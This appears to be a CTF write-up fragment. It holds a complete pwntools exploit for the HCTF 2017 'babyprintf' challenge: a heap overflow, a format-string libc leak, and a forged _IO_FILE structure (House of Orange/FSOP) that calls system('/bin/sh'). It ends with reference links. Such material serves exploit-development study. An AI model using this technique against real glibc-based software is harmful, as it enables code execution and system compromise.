1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] local = 1 if local: cn = process(['/home/veritas/glibc-2.24_build/lib/ld-2.24.so' ,'--library-path' ,'/home/veritas/glibc-2.24_build/lib/' ,'./babyprintf' ]) libc = ELF('/home/veritas/glibc-2.24_build/lib/libc-2.24.so' ) else : pass def z (a='' ): gdb.attach(cn,a) if a == '' : raw_input() def alloc (size,buf='' ): cn.recvuntil('size' ) cn.sendline(str (size)) cn.recvuntil('string' ) cn.sendline(buf) pay = 'A' *0x18 + '\xe1\x0f' alloc(8 ,pay) pay=r'%p%p%p%p%pSTART%pEND' alloc(0xfff ,pay) cn.recvuntil('START' ) leak = cn.recvuntil('END' )[:-3 ] libc_base = int (leak,16 )-libc.symbols['__libc_start_main' ]-240 _IO_list_all = libc_base+libc.symbols['_IO_list_all' ] _IO_str_jumps = libc_base+libc.symbols['_IO_str_jumps' ] system = libc_base+libc.symbols['system' ] binsh = libc_base+libc.search('/bin/sh\x00' ).next () success('libc_base: ' +hex (libc_base)) pay = 'A' *0x200 from FILE import *context.arch = 'amd64' fake_file = IO_FILE_plus_struct() fake_file._flags = 0 fake_file._IO_read_ptr = 0x61 fake_file._IO_read_base =_IO_list_all-0x10 fake_file._IO_buf_base = binsh fake_file._mode = 0 fake_file._IO_write_base = 0 fake_file._IO_write_ptr = 1 fake_file.vtable = _IO_str_jumps-8 pay+=str (fake_file).ljust(0xe8 ,'\x00' )+p64(system) alloc(0x200 ,pay) cn.sendline('1' ) cn.interactive()
Reference Hctf-2017-babyprintf:http://simp1e.leanote.com/post/Hctf-2017-babyprintf
CTF中带来的IO_FILE新思路:http://bobao.360.cn/learning/detail/4661.html
Pwnable.tw-House-of-orange:http://simp1e.leanote.com/post/9571ae32e8ca
HITCON CTF Qual 2016 - House of Orange Write up:http://4ngelboy.blogspot.jp/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
Play with FILE Structure [1]:http://www.mutepig.club/index.php/archives/70/
house-of-orange mutepighttp://mutepig.club/index.php/archives/51/
abusing-the-file-structure:https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/
ctf-HITCON-2016-houseoforange学习https://www.cnblogs.com/shangye/p/6268981.html
Head First FILE Stream Pointer Overflowhttp://www.evil0x.com/posts/13764.html
FSOP以及glibc针对其所做的防御措施http://blog.dazzlepppp.cn/2017/02/04/FSOP以及glibc针对其所做的防御措施
sysmallochttp://www.mutepig.club/index.php/archives/47/#3.sysmalloc